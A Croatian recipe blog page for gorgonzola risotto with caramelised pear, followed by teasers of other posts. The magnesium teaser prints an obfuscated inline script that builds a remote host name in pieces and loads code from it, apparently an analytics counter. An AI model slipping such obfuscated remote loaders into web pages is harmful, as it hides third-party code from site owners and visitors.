RIŽOTO S GORGONZOLOM I KARAMELIZIRANOM KRUŠKOM 🍐





Rižoto s gorgonzolom i karameliziranom kruškom 

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Postoje kombinacije okusa koje na papiru djeluju neobično, ali na tanjuru savršeno funkcioniraju. Rižoto s gorgonzolom i kruškama upravo je takav spoj, a donosi balans između kremaste, izražajne note sira i prirodne slatkoće voća. Ovo jelo koje se pamti po kontrastu, ali i po eleganciji bez previše kompliciranja.





Rižoto s gorgonzolom i karameliziranom kruškom 


Sastojci:

350 g riže za rižoto
150 g gorgonzole
400 g manjih krušaka
25 g grubo nasjeckanih oraha
80 ml suhog bijelog vina
2 sitno nasjeckane ljutike
1,2 l vrućeg povrtnog temeljca
2 žlice meda
80 g maslaca
sol i crni papar




Priprema:

U većem loncu otopite 20 g maslaca i na laganoj vatri pirjajte ljutiku dok ne postane staklasta. Ogulite kruške. Oko 80 g narežite na sitne kockice i pomiješajte u zdjeli s 30 ml bijelog vina i jednom žličicom meda. Ostatak krušaka narežite na kriške.

Kriške krušaka stavite u tavu, podlijte preostalim vinom i kuhajte 2-3 minute na jačoj vatri. Prelijte ostatkom meda, dodajte orahe i kratko karamelizirajte, ali da zadrže oblik. Maknite s vatre i ostavite sa strane. U drugom loncu otopite 40 g maslaca, dodajte rižu i kratko je tostirajte. Umiješajte pirjanu ljutiku i podlijte s dvije kutlače vrućeg temeljca.

Rižu kuhajte uz redovito miješanje, postupno dolijevajući temeljac svaki put kada ga riža upije. Na polovici kuhanja dodajte kockice kruške s vinom u kojem su stajale. Pred sam kraj kuhanja umiješajte grubo izmrvljenu gorgonzolu i dobro promiješajte da se rastopi. Začinite solju i paprom pa umiješajte preostali maslac kako biste dobili kremastu teksturu.

Poslužite odmah, s karameliziranim kriškama kruške, orasima i malo svježe mljevenog papra na vrhu.


Rižoto s gorgonzolom i karameliziranom kruškom


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više